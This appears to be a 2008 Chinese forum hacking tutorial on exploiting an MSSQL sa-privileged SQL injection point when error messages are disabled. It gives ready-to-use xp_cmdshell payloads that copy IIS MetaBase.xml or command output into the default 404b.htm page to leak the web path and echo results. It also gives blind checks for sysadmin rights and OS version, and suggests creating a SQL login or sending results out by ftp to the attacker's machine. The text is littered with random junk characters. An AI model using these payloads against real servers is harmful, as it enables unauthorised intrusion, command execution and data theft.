遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。6 `7 D' ]0 A6 F2 D9 E6 R% l5 {) h
0 P" l$ G0 l9 J% u8 e: [9 `7 v% W$ m
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。7 K% G9 s( t6 M8 a- ]
8 W5 a- S' o& k% v 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。- l: b/ S" c* t6 x- c
3 v) m- U9 x3 j+ \. A9 h) f
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
. M: ~) Y* b, E& x& h9 U8 }% L9 |2 [
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--' `* G" \3 M0 y- g) |
& }8 A3 \2 v0 g3 p g2 y ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。# E5 X( ]& C! h$ m* i
O4 I" o0 P5 q! {+ P 执行命令得到回显
3 G+ ~0 r6 ~' V! A/ u7 }
( U' ^1 `8 o- M8 p5 M 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
8 s2 O0 @+ f) `( A- ~% p* O4 @
$ z) \& \! H: U1 n6 Y4 a 得到文件也shi相同,把文件copy到404b.htm就行了: ?4 E( P6 l' a ~; Z
2 n& B" \1 @4 H$ X% X by 28ice, 2008/6/26
! `! C2 j q' f5 V
# Q+ K& x6 S/ V3 M* S) |' ~& E' G 摘自 28度的冰+ X6 [! x6 B9 E& J4 K. B v
8 s+ c" y( K% U* i0 B 盲注判断权限和操作系统版本
. K- t* `2 \" Q$ |! ^( \. A8 f
# l+ I' @8 c& q4 B 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?7 ^' p. Z0 l4 K: j
7 h/ T* x/ X8 C+ \( b; ]/ E0 L. a% f d
最简单的,可能以用这样的方法:5 j6 m& Q8 l8 U" x. ]0 i: L9 ?* Y
K4 |# P' V/ }) y
1=(select IS_SRVROLEMEMBER(’sysadmin’))
4 S) W1 K! B- Y9 A
$ A% e) k9 C3 P1 l! |' R* m 当然,有些情况下,这个方法并不奏效。
) M* C4 B2 a7 f+ p7 x3 [: ?2 T: ]# Q; \% v- }. B6 W& `1 f
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
! q, @0 J' I4 }
' |/ ~/ `3 H. e, j 有个3办法可能以解决这个问题* ? p1 f; R2 g5 a; l+ w- s
' w! l. |( E& ?. {" n7 f) J! x& ~
a.把执行结果写到404b.htm,具体请看我的上一篇文章
0 c; K* T( q9 x$ V- U, ?* ^+ U. K! j4 W6 e
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟( k+ N9 t- I! E: T7 c( O
5 G+ }$ H, `2 `( \" Z c.如果1433端口可能以连接,那干脆新建个sql登录+ a: [$ {/ ?8 u- F {
8 k" `# A1 F8 `& T. O4 e5 m
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
+ P0 s, `. M! N: f0 g; p3 ~/ ~5 f, D" f# \- C
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
2 z- A+ r5 M0 S
+ E' {4 [; }7 F 很简单7 h. K: |8 U5 G, v% ~2 W
$ C7 T! Y8 [. Y6 \
执行systeminfo/ L( U4 X1 E( {/ N/ _/ f" q
" |4 o, `" r5 g' I' o; B 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |